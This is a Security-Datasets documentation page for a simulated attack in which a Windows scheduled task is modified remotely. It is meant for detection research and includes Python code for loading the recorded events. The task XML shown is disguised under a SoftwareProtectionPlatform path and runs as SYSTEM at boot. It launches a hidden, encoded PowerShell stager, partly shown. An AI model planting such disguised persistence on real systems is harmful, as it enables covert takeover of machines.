Remote Scheduled Task Modification

Metadata

Contributors

Roberto Rodriguez @Cyb3rWard0g

Creation Date

2020/12/19

Modification Date

2020/12/19

Tactics

TA0002,TA0003,TA0004,TA0008

Techniques

T1053.005

Tags

None

Dataset Description

This dataset represents a threat actor modifying a scheduled task remotely.

Simulation Metadata

Tools

type

Name

Module

Manual

PowerShell

PowerShell

Adversary View

Name               : EventCacheManager
Path               : \Microsoft\Windows\SoftwareProtectionPlatform\EventCacheManager
State              : 3
Enabled            : True
LastRunTime        : 11/30/1999 12:00:00 AM
LastTaskResult     : 267011
NumberOfMissedRuns : 0
NextRunTime        : 12/30/1899 12:00:00 AM
Definition         : System.__ComObject
Xml                : <?xml version="1.0" encoding="UTF-16"?>
                    <Task version="1.2"
                    xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
                      <RegistrationInfo>
                        <Date>2020-12-19T07:00:22</Date>
                        <Author>THESHIRE\pgustavo</Author>
                        <URI>\Microsoft\Windows\SoftwareProtectionPlatform\EventCacheManager</URI>
                      </RegistrationInfo>
                      <Principals>
                        <Principal id="Author">
                          <UserId>S-1-5-18</UserId>
                        </Principal>
                      </Principals>
                      <Settings>
                        <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
                        <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
                        <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
                        <IdleSettings>
                          <Duration>PT10M</Duration>
                          <WaitTimeout>PT1H</WaitTimeout>
                          <StopOnIdleEnd>true</StopOnIdleEnd>
                          <RestartOnIdle>false</RestartOnIdle>
                        </IdleSettings>
                      </Settings>
                      <Triggers>
                        <BootTrigger>
                          <StartBoundary>2020-12-19T07:00:00</StartBoundary>
                        </BootTrigger>
                      </Triggers>
                      <Actions Context="Author">
                        <Exec>
                          <Command>powershell</Command>
                          <Arguments>-noP -sta -w 1 -enc  SQBGACgAJABQAFMAVgBFAHIAcwBpAG8ATgBUAGEA
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                        </Exec>
                      </Actions>
                    </Task>

Explore Datasets

Download & Decompress Dataset

import requests
from zipfile import ZipFile
from io import BytesIO

url = https://raw.githubusercontent.com/OTRF/Security-Datasets/master/datasets/atomic/windows/lateral_movement/host/schtask_modification.zip
zipFileRequest = requests.get(url)
zipFile = ZipFile(BytesIO(zipFileRequest.content))
datasetJSONPath = zipFile.extract(zipFile.namelist()[0])

Read JSON File

from pandas.io import json

df = json.read_json(path_or_buf=datasetJSONPath, lines=True)

Access Security Events

df.groupby(['Channel']).size().sort_values(ascending=False)